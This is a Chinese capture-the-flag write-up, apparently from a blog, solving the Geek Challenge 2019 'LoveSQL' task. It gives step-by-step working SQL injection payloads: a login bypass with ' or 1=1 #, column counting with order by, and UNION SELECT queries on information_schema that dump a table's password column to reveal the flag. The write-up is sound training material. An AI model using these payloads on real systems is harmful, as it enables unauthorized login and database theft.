极客大挑战2019-LoveSQL

这是一道无过滤单引号字符型 SQL 注入 ,核心用联合查询脱库拿 flag,全程手工可通,无需工具。


一、核心解题思路

  1. 登录框→优先测 SQL 注入,用单引号判断字符型注入
  2. 万能密码绕过登录,确认注入可用
  3. order by判断查询字段数
  4. 联合查询查库→查表→查字段→查数据
  5. 目标表l0ve1ysq1password字段存 flag

二、完整操作步骤(直接复制 Payload)

1. 判断注入点(单引号字符型)

  • 用户名:admin'
  • 密码:123
  • 现象:报SQL 语法错误 ,确认是单引号闭合的字符型注入

2. 万能密码登录绕过

  • 用户名:' or 1=1 #
  • 密码:123
  • 结果:Login Success! Hello admin!,登录成功

3. 判断字段数(order by)

依次试:

  • a' order by 1 -- a
  • a' order by 2 -- a
  • a' order by 3 -- a
  • a' order by 4 -- a
  • 到 4 时报错:Unknown column '4'字段数 = 3

4. 查当前数据库

  • 用户名:a' union select 1,database(),3 -- a
  • 密码:111
  • 得到:geek

5. 查数据库里的表

  • 用户名:

    a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 -- a

  • 得到表:geekuser、l0ve1ysq1(flag 在 l0ve1ysq1)

6. 查 l0ve1ysq1 表的字段

  • 用户名:

    a' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'),3 -- a

  • 得到字段:id、username、password

7. 查 password 字段拿 flag

  • 用户名:

    a' union select 1,(select group_concat(password) from l0ve1ysq1),3 -- a

  • 页面 / 源码中得到:flag{a8c4dfbe30b89a18346f305e2152b702}


三、关键原理(为什么这么做)

  1. 单引号闭合 :原语句类似 select * from user where username='$name'输入a' or true -- a→变成:select * from user where username='a' or true -- a'条件恒真,登录绕过
  2. 联合查询union select拼接查询,用2、3位回显数据
  3. information_schema:MySQL 系统库,存所有库、表、字段信息
  4. group_concat:把多行结果拼成一行,方便页面显示
相关推荐
ClouGence17 小时前
Oracle 数据同步为什么会出现数据不一致?长事务是常被忽略的原因
数据库·后端·oracle
飞将19 小时前
从零实现数据库(2)——HashIndex + IndexManager
数据库
Nturmoils2 天前
订单列表慢查询,先看 WHERE、ORDER BY 和 LIMIT
数据库
渣波2 天前
拒绝 SQL 焦虑!手把手带你用 NestJS + Prisma + DTO 写出“防弹”级后端代码
javascript·数据库·后端
倔强的石头_3 天前
KingbaseES 新版MySQL 兼容版体验:旧版迁移 + 功能实测
数据库
倔强的石头_6 天前
《Kingbase护城河》——数据库存储空间全景探测与精细化瘦身实战
数据库
冬奇Lab6 天前
每日一个开源项目(第134篇):Zvec - 阿里开源的嵌入式向量数据库,向量搜索界的 SQLite
数据库·人工智能·llm
ClouGence7 天前
Oracle CDC 架构优化:从主库直连到 DataGuard 备库同步
数据库·后端·oracle
无响应de神7 天前
三、用户与权限管理
数据库·mysql
麦聪聊数据8 天前
数据服务化时代:企业数据能力输出的核心路径
数据库